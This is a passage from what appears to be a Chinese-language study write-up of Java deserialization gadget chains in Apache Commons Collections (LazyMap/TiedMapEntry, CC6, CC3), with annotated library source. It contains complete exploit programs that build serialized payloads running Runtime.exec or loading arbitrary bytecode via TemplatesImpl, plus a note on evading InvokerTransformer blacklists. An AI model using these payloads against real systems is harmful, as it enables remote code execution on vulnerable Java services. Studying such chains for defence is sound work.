public static Map decorate(Map map, Factory factory) {
return new LazyMap(map, factory);
}
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Factory factory) {//私有的构造方法,只能decorate
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = FactoryTransformer.getInstance(factory);
}
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);//这里调用了transform,利用它
map.put(key, value);
return value;
}
return map.get(key);
}
AnnotationInvocationHandler:(又是它)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
//部分代码
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)//有关注解实现,参数不为0抛出异常
throw new AssertionError("Too many parameters for an annotation method");
//这两个if要求最好要调用无参方法
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}

// Handle annotation member accessors
Object result = memberValues.get(member);//这里调用了get,接上LazyMap的get()

if (result == null)
throw new IncompleteAnnotationException(type, member);

if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();

if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);

return result;
}
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {//凑巧的调用了无参方法,能够对上上面的invoke
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

LazyMap(plus)式(CC6阉割版,感觉不太能用):

在java 8u71以后,sun.reflect.annotation.AnnotationInvocationHandler的readObject的逻辑变化,利用不了,想要在高版本执行必须要找一条新的链

思路&exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package ysoserial.payloads;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.util.HashMap;
import java.util.Map;
import java.lang.*;
import java.lang.Runtime;

import java.lang.annotation.*;
import java.lang.reflect.*;
import java.io.Serializable;
import java.util.*;
import java.security.AccessController;
import java.security.PrivilegedAction;
//以上大部分没用
public class testforlearn2 {
public static void main(String[] args) throws Exception{
//前面过程相同,略
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap();
map.put("用不上这个值","随便啥反正有ConstantTransformer");
//这句其实可以不写
Map transformedMap = LazyMap.decorate(map,chainedTransformer);

//更换为利用TiedMapEntry的get方法
//TiedMapEntry的getValue调用了get()
//TiedMapEntry的hashCode又调用了getValue
TiedMapEntry tme = new TiedMapEntry(transformedMap,"随便啥反正有ConstantTransformer");

//HashMap的readObject有hash()调用
//hash()里又调用key.hashCode(),和上面连起来了

Map finalmap = new HashMap();
finalmap.put(tme,"balabala");

serialize(finalmap);
unserialize("ser.bin");
//序列化和反序列化的过程都会弹计算器,有点问题
//正常版本应该就是CC6了
}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();//这里报错java.lang.ProcessImpl 类型不能被转换为 java.util.Set
return obj;
}
}
//能用,还是一堆报错,问题不大(
TiedMapEntry:

部分代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}

public Object getValue() {
return map.get(key);//调用了get() 但要执行getValue必须先执行hashCode(),就是下面那个
}

public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
HashMap:

部分代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);//注意这里,hash(key)
}
}
}
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);//调用了hashCode()
//将key设置为TiedMapEntry就能执行它的hashCode(),进而执行checkValue
}

CC6

和LazyMap(plus)很像,但更长,当然这样没有上面的奇怪问题

思路&exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
package ysoserial.payloads;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.util.HashMap;
import java.util.Map;
import java.lang.*;
import java.lang.Runtime;

import java.lang.annotation.*;
import java.lang.reflect.*;
import java.io.Serializable;
import java.util.*;
import java.security.AccessController;
import java.security.PrivilegedAction;
//以上大部分没用
public class testforlearn2 {
public static void main(String[] args) throws Exception{
//前面过程相同,略
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap();
Map lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
//decorate传入一个没用的类避免put时调用触发

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"a");

HashMap<Object,Object> map2 = new HashMap();
map2.put(tiedMapEntry,"aa");
//put里调用了hash
//类似URL链

//在上面map2.put设个断点,跟进去
//LazyMap:
//public Object get(Object key) {
//
// if (map.containsKey(key) == false) {
// Object value = factory.transform(key);
// map.put(key, value);//这里put了a,不应该在这里put
// return value;
// }
// return map.get(key);
// }
//会发现上面这个put了
lazyMap.remove("a");
//保证反序列化顺利执行

//反射修改,防止put调用hash
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);//把1改成chainedTransformer

serialize(map2);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();//这里报错java.lang.ProcessImpl 类型不能被转换为 java.util.Set
return obj;
}
}
//没报错不太习惯

CC3

需要动态类加载,与前面的区别是命令执行与代码执行

loadClass->findClass->defineClass

只做类记载不会执行代码,需要初始化

思路&exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
package ysoserial.payloads;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.xalan.xsltc.trax.TemplatesImpl;
import org.apache.xalan.xsltc.trax.TrAXFilter;
import org.apache.xalan.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Templates;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.lang.*;

import java.lang.annotation.*;
import java.lang.reflect.*;

public class testforlearn {
public static void main(String[] args) throws Exception{
//需要动态类加载
TemplatesImpl templates = new TemplatesImpl();
//反射修改值
Class tc = templates.getClass();

Field nameField = tc.getDeclaredField("_name");
//getTransletInstance()中,_name为null会直接return null
nameField.setAccessible(true);
nameField.set(templates,"无所谓啥");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
//defineTransletClasses()中,null时异常
//defineTransletClasses()中有_class[i] = loader.defineClass(_bytecodes[i]);
bytecodesField.setAccessible(true);
//_bytecodes为byte[][]型

byte[] code = Files.readAllBytes(Paths.get("D://javastudy/test.class"));
//在Templateslmpl中的defineTransletClasses()有superClass.getName().equals(ABSTRACT_TRANSLET)
//又有private static String ABSTRACT_TRANSLE = "org.apache.xalan.xsltc.runtime.AbstractTranslet";
//因此test.class需要继承AbstractTranslet,是个抽象类
//不然报错
byte[][] codes = {code};
//defineClass调一维数组,给这个二维数组套个一维的就行
bytecodesField.set(templates,codes);

//defineTransletClasses()的AccessController.doPrivileged有些版本有_tfactory,会调用_tfactory的方法
//这是transient类型
//Templateslmpl在readObject时_tfactory = new TransformerFactoryImpl();赋值
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
//当然没有_tfactory就不用管了

//接下来的步骤与之前类似,把CC1粘贴过来就行
//Transformer[] transformers = new Transformer[]{
// new ConstantTransformer(templates),
// new InvokerTransformer("newTransformer",null,null)
//};
//ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//当然,黑名单可能过滤InvokerTransformer,可以另一种方式
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
//TrAXFilter不能序列化,有_transformer = (TransformerImpl) templates.newTransformer();
//调用构造函数就连起来了
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
//TemplatesImpl implements Templates, Serializable
//要实例化的是TrAXFilter,构造函数参数类型Templates:public TrAXFilter(Templates templates)throws TransformerConfigurationException
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap();
map.put("value","随便啥");
Map transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlCon = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationhdlCon.setAccessible(true);
Object o = annotationInvocationhdlCon.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

ClassLoader.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
//部分代码
//通常loadClass加载
protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
synchronized (getClassLoadingLock(name)) {
// 首先查看是不是已经被加载了
Class<?> c = findLoadedClass(name);
if (c == null) {
long t0 = System.nanoTime();
try {
if (parent != null) {
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
// ClassNotFoundException thrown if class not found
// from the non-null parent class loader
}

if (c == null) {
// If still not found, then invoke findClass in order
// to find the class.
long t1 = System.nanoTime();
c = findClass(name);//注意到这里调用了findClass

// this is the defining class loader; record the stats
sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
sun.misc.PerfCounter.getFindClasses().increment();
}
}
if (resolve) {
resolveClass(c);
}
return c;
}
}
//通过findClass可以调用到defineClass
//这里原代码的注释对findClass提及了已弃用Replaced by defineClass(String, byte[], int, int)
protected final Class<?> defineClass(byte[] b, int off, int len)
throws ClassFormatError
{
return defineClass(null, b, off, len, null);
}
//要调用它需要找一个有重写它的public方法
//几个重写的defineClass都可以看看
//下面的defineClass可以找到下一步
protected final Class<?> defineClass(String name, byte[] b, int off, int len)
throws ClassFormatError
{
return defineClass(name, b, off, len, null);
}

TemplatesImpl.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
//部分代码
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
//可以发现在defineTransletClasses()有调用
private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader());
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new Hashtable();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);//这里defineClass
//循环调用_bytecodes
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();//注意这里,相当于在赋值后就能执行
//在defineTransletClasses()出现了_class[i] = loader.defineClass(_bytecodes[i]);
//相当于在这里实例化了defineClass
translet.postInitialization();
translet.setTemplates(this);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{//终于public
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);//这里调用getTransletInstance(),

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

TrAXFilter.java

1
2
3
4
5
6
7
8
//部分代码
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();//这里和TemplatesImpl.newTransformer()连起来
_transformerHandler = new TransformerHandlerImpl(_transformer);
}

InstantiateTransformer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//部分代码
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
super();
iParamTypes = paramTypes;//要实例化的类的构造函数的参数类型
iArgs = args;
}
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException ex) {
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (IllegalAccessException ex) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (InvocationTargetException ex) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}

CC